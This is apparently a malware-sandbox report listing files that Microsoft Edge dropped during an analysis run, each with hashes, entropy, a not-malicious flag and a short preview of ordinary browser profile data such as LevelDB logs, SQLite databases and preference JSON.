File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.175561980495851
Encrypted:	false
SSDEEP:	6:HU8D7+q2PN723oH+TcwtpIFUt8YU8Zf6Zmw+YU8fVkwON723oH+Tcwta/WLJ:WvVaYebmFUt8f/+g5OaYebaUJ
MD5:	37453D7DC302A8BC1D73087DA48B1689
SHA1:	88F97D1C96DAFFF024A2E29CCC22FCFC481845F0
SHA-256:	DC43E181DC8C26AF2FA0EB7939C25E3CB198E56B825F3B66D0E7174A87472495
SHA-512:	155554E9A7274EE918C62FDD8942B37525A240D724B95370255DFA6D03613201302E55AF07507ED781EC5C1B083D05F4BC31C8E9ADD865C5CD27B6B7713D161D
Malicious:	false
Preview:	2024/11/12-11:07:40.268 1cc8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/12-11:07:40.269 1cc8 Recovering log #3.2024/11/12-11:07:40.394 1cc8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.175561980495851
Encrypted:	false
SSDEEP:	6:HU8D7+q2PN723oH+TcwtpIFUt8YU8Zf6Zmw+YU8fVkwON723oH+Tcwta/WLJ:WvVaYebmFUt8f/+g5OaYebaUJ
MD5:	37453D7DC302A8BC1D73087DA48B1689
SHA1:	88F97D1C96DAFFF024A2E29CCC22FCFC481845F0
SHA-256:	DC43E181DC8C26AF2FA0EB7939C25E3CB198E56B825F3B66D0E7174A87472495
SHA-512:	155554E9A7274EE918C62FDD8942B37525A240D724B95370255DFA6D03613201302E55AF07507ED781EC5C1B083D05F4BC31C8E9ADD865C5CD27B6B7713D161D
Malicious:	false
Preview:	2024/11/12-11:07:40.268 1cc8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/12-11:07:40.269 1cc8 Recovering log #3.2024/11/12-11:07:40.394 1cc8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x37, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2675729546965608
Encrypted:	false
SSDEEP:	384:L/2qOB1nxCkMsSA1LyKOMq+8iP5GDHP/0jMVumb:Kq+n0Js91LyKOMq+8iP5GLP/0C
MD5:	9C151C7735F98C734873A39C51267D2D
SHA1:	BF4728CCB362DADD0B8E7EC8ACDDD8E5DAAFEF56
SHA-256:	D73A1BAF8CFDFED29F900EDC4F2A8DA95205E6464E884D60CD5D18A7C7120673
SHA-512:	44B304616CD472CE107FE3757EBC5FA81A8F4AFC01EE72F132C365E204C839D655A959492472167BD79BEF91E56DB5B29F90BB7F670ABC3C50526D1B20089FE5
Malicious:	false
Preview:	SQLite format 3......@ .......[...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.46631630782029615
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB0eh:v7doKsKuKZKlZNmu46yjx0o
MD5:	9A2E1F238867502592042AF98E9CFC13
SHA1:	EE01225CD51EA556D21A0B172EA82F446F291E14
SHA-256:	BC17C3ED2F28B9E2915372C8F1BD90C8201C2779E547B2D13702E5CB93CE3485
SHA-512:	DE1157AE9C3E5498505404A60EDD853ED88766ECA4A4896E7633D98FB98617E78B89FA56DFF2D35B2DF402A640D22ABC166CAEB7CC92A4A182CD03044F05C176
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\a7b0840b-b9f0-406d-9953-aa877c1ca500.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (17528), with no line terminators
Category:	dropped
Size (bytes):	17528
Entropy (8bit):	5.4830196795486925
Encrypted:	false
SSDEEP:	192:stOJ99QTryDiuabatSuypEsZoaFvrEyMztkYYghr5KVHWPaUpHc3DD8abV+FmVQP:stOPGQSu4EsZoCDL+bYxW34nbGoQwG3D
MD5:	EC06EA9694098556DCA466D361BCDE06
SHA1:	FB95DCDED536F2FDBC4D69D6ADE70106B471955D
SHA-256:	869374E6AC3D4892594C3AE36E4E8DC374DEAE9683741306F7EE909E0CCE3747
SHA-512:	0613557D5B3D88D1CB5D5F74E542B433E0C3EF7FF1AF90E300EC95184E683F31A7D298FDB8995C6EDCCA515B9336C534C2E528CDD42268396D0DB08747584BA5
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375901260923102","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\ad7f6e1c-50a8-49e6-a749-ae16c6786772.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\b4bba07d-ee81-4927-9a2a-2561dd8346b9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (17527), with no line terminators
Category:	dropped
Size (bytes):	17527
Entropy (8bit):	5.482967748923617
Encrypted:	false
SSDEEP:	192:stOJ99QTryDiuabatSuypEsZoaFvrEyMztkYYghr5KVHWPaUpHc3DD8abV+FmVQi:stOPGQSu4EsZoCDL+bYxW34nbGoQwv3D
MD5:	9714F90C4CBE4E0E3BF6D5F1F0ADD7B4
SHA1:	4C66555790FF0D22233042A84FF7A6904983B4C2
SHA-256:	A6EA546AC4C1E844D73AAE9B658B952E245D9D7D148320683DC332C6D9EDEA86
SHA-512:	DEE062EEFFAA5129B67AD18B2953494C9FB93AAD8D20BD73E9C60DA94578FD3133A10406694AE55B490A37D3184BC6CEB038AFD0F0B3BCA1A36DF5A9AB364CE1
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375901260923102","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\b51dbfd9-926f-4465-a0d1-f77d8d17a5ee.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\e4e79375-15b0-4543-babc-702a734d1880.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\f892d6a9-b193-445e-a814-18dd632873d0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12533
Entropy (8bit):	5.196515989842328
Encrypted:	false
SSDEEP:	192:stOJ99QTryDigabatSuypEsZoaFvrE9k3TD8abV+FmVQAhUkP1YJ:stOPGKSu4EsZoCD5bGoQvD
MD5:	7326A5A06801A9E54A243E58C05BC046
SHA1:	083DC68A31603061D50ECE42F63B1C44CE880AA0
SHA-256:	AC14D6F4F70224E9CF42C74F6A7C06ED70CCB1E987D7D7E2040DFC90FD733C07
SHA-512:	F9D3C961CE8B027FA627057097F551A47D989D0BA98A05459FC05A1389FA57C1668173E20420889245DA4EC8C35754D8FA36C1566D74304B169C04349A7DBED7
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375901260923102","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10556563555842262
Encrypted:	false
SSDEEP:	12:Jntz001kntz00dpEjVl/PnnnnnnnnnnnnvoQJEopmMl:JntQbntQGoPnnnnnnnnnnnnvjj9l
MD5:	25920744B2422A487163EFFEFF1C2660
SHA1:	5708D5632A150D7B618C4A295C3420891E65E16E
SHA-256:	51F83F4999675D65BD7545D70C5EF24001C31C9309D321693083D271C5D7D4C3
SHA-512:	FB76B2B4941A9C8A9035C9CC067CA7EC378DE5AF4AA33BDA2D17D7C9481AD9A1B103F783282BCDB8583FDB7785EAD1DE6C9B89D6806EB5580CDBB5D687CAD3E4
Malicious:	false
Preview:	..-.............Q.........At.P$J...V.....5......-.............Q.........At.P$J...V.....5............M...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	333752
Entropy (8bit):	0.9344599042042748
Encrypted:	false
SSDEEP:	384:vjsoEUkEz7EWTEYlEgO3EYsEGjE5KEIS1mEavv8AyHyXlmEzwv8uy1y0IyfxynT:v9pne
MD5:	D9B401522BE5E145D3273D17E06122A7
SHA1:	7FC91C156AC925A2916B69F5F800A8D634417575
SHA-256:	1BDBD35FA2308A0522BE05274AE9477F6F6371CE71742EAF65FE9C1172ACD775
SHA-512:	464CF3A673C4A71E029689025EDFFADA196AFAC99E6F5B43F01538DDC51FF79223C8A53A732EC196327992D9AE451E901513F52DC1B31881A07B40CF381A884F
Malicious:	false
Preview:	7....-..........$J...V....M7'.z.........$J...V..h.IR..4.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	628
Entropy (8bit):	3.222754582031451
Encrypted:	false
SSDEEP:	12:p9lc8QyOuuuuuuuuuuuuuuuuuuuuuuuWoU8E:pHay+oK
MD5:	E53841993D0030D020F97003094FB072
SHA1:	84EA2D0BE313D034CE5324024B4BCF82EA760495
SHA-256:	AC851A54AE1E4D656FF618151645B035B5EF207078BCB74C7D8528B801DD9CD9
SHA-512:	216610F99916961A1F750EBFBE2235AB18A9882F1DD83F3EBA843E12A69EA4940010F9EFC43E4BF514B5139CDFC397DB42AD7D880D01DAB7777A8810477EA487
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..$.0................39_config..........6.....n ...1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...................0................39_config..........6.....n ..1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.216607180762185
Encrypted:	false
SSDEEP:	6:HU8A3+q2PN723oH+TcwtfrK+IFUt8YU8cZZmw+YU8kWVkwON723oH+TcwtfrUeLJ:AOvVaYeb23FUt8lZ/+G5OaYeb3J
MD5:	F8455C65753E9F21C79041DA4D7787A3
SHA1:	159A6267582C45E45173BC1F130AA41AC4C517CF
SHA-256:	06685B121B89516E7E451B08BCBD3B373D593A3EBAF2EE0B50ED0848E3B8F9E7
SHA-512:	AFF2BD0E6A79B3ED8A87368A9EF4E97D081AF7BBA9F3F82D1C66756790318CF0FE4E14DD9AFEB8C910EB682003CC37E5B57061EBE341F0B594DC97F679B8766A
Malicious:	false
Preview:	2024/11/12-11:07:40.953 1cc8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/12-11:07:40.957 1cc8 Recovering log #3.2024/11/12-11:07:40.958 1cc8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.216607180762185
Encrypted:	false
SSDEEP:	6:HU8A3+q2PN723oH+TcwtfrK+IFUt8YU8cZZmw+YU8kWVkwON723oH+TcwtfrUeLJ:AOvVaYeb23FUt8lZ/+G5OaYeb3J
MD5:	F8455C65753E9F21C79041DA4D7787A3
SHA1:	159A6267582C45E45173BC1F130AA41AC4C517CF
SHA-256:	06685B121B89516E7E451B08BCBD3B373D593A3EBAF2EE0B50ED0848E3B8F9E7
SHA-512:	AFF2BD0E6A79B3ED8A87368A9EF4E97D081AF7BBA9F3F82D1C66756790318CF0FE4E14DD9AFEB8C910EB682003CC37E5B57061EBE341F0B594DC97F679B8766A
Malicious:	false
Preview:	2024/11/12-11:07:40.953 1cc8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/12-11:07:40.957 1cc8 Recovering log #3.2024/11/12-11:07:40.958 1cc8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	816
Entropy (8bit):	4.0647916882227655
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z32m5t/yVf9HqlIZfkBA//DtKhKg+rOyBrgxvB1ySxs:G0nYUtypD32m3yWlIZMBA5NgKIvB8Sxs
MD5:	3BE72D8D40752B3A97028FDB2931FABA
SHA1:	A27EA4726857A948F0A4B074062B674469A9A371
SHA-256:	3C18553C8C3F7E801855F3579AC57F3C156D783BBA27FB35C6D2FB6CB89BD902
SHA-512:	8EBD4D6980BB7796615217E72BC65953C920B68B9259341CD52858C1E889EC90339E2A304FE0C971D6C6EF9AFC4A00CFB3E5CC89C7B2DF8737A0C7EC241BDADC
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....X...................20_.....W.J+.................19_......qY.................18_.....'}2..................37_.......c..................38_......i...................39_.....Owa..................20_.....4.9..................20_.....B.I..................19_..........................18_.....2.1..................37_..........................38_......=.%.................39_.....p.j..................9_.....JJ...................9_.....\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... ......................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	346
Entropy (8bit):	5.185441610443677
Encrypted:	false
SSDEEP:	6:HU8+u7+q2PN723oH+TcwtfrzAdIFUt8YU8nZZmw+YU8mVkwON723oH+TcwtfrzId:6vVaYeb9FUt8S/+b5OaYeb2J
MD5:	64523A3B86EA1C3B6934B63BC8742B28
SHA1:	FB8C0C20582888930AA3D2FD5B20F08CE1BD1ED7
SHA-256:	D73B3EF7B17F1A04DD2F2AFFAC694CCF6E5EC88E0F77E110A41B177836C17F48
SHA-512:	BC554562BB4C22CBA29CD43E1066B403DB61ACB859A2BADF8A656118B7E40760848D45107A059465334748CE1BA05FA7F2074C46ECB32108336E615878049E65
Malicious:	false
Preview:	2024/11/12-11:07:40.949 1cc8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/12-11:07:40.950 1cc8 Recovering log #3.2024/11/12-11:07:40.951 1cc8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	346
Entropy (8bit):	5.185441610443677
Encrypted:	false
SSDEEP:	6:HU8+u7+q2PN723oH+TcwtfrzAdIFUt8YU8nZZmw+YU8mVkwON723oH+TcwtfrzId:6vVaYeb9FUt8S/+b5OaYeb2J
MD5:	64523A3B86EA1C3B6934B63BC8742B28
SHA1:	FB8C0C20582888930AA3D2FD5B20F08CE1BD1ED7
SHA-256:	D73B3EF7B17F1A04DD2F2AFFAC694CCF6E5EC88E0F77E110A41B177836C17F48
SHA-512:	BC554562BB4C22CBA29CD43E1066B403DB61ACB859A2BADF8A656118B7E40760848D45107A059465334748CE1BA05FA7F2074C46ECB32108336E615878049E65
Malicious:	false
Preview:	2024/11/12-11:07:40.949 1cc8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/12-11:07:40.950 1cc8 Recovering log #3.2024/11/12-11:07:40.951 1cc8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.6612262562697895
Encrypted:	false
SSDEEP:	3:NYLFRQZ:ap2Z
MD5:	B64BD80D877645C2DD14265B1A856F8A
SHA1:	F7379E1A6F8CE062E891C56736C789C7EA77CD6A
SHA-256:	83476CEEEB7682F41030664B4E17305986878D14E82D0C277FB99EC546B44569
SHA-512:	734A7316A269C76DD052D980CC0D5209C0BFEDFFC55B11C58FA25C433CE8A42536827298C3E58CACD68CC01593C23D39350E956E8DE2268D8D29918E1F0667F2
Malicious:	false
Preview:	117.0.2045.55

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089755058699061
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWCdi1zNtPMYkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynCvkzItSmd6qE7lFoC
MD5:	0201455CE1B273E6D9A0648362D2A32C
SHA1:	AD3ECA68061054FCC02259DED75E84E0FC24C338
SHA-256:	798ED0777C2208C918D88B77EA51C0290B55482B82F0F520F9B300BF27228883
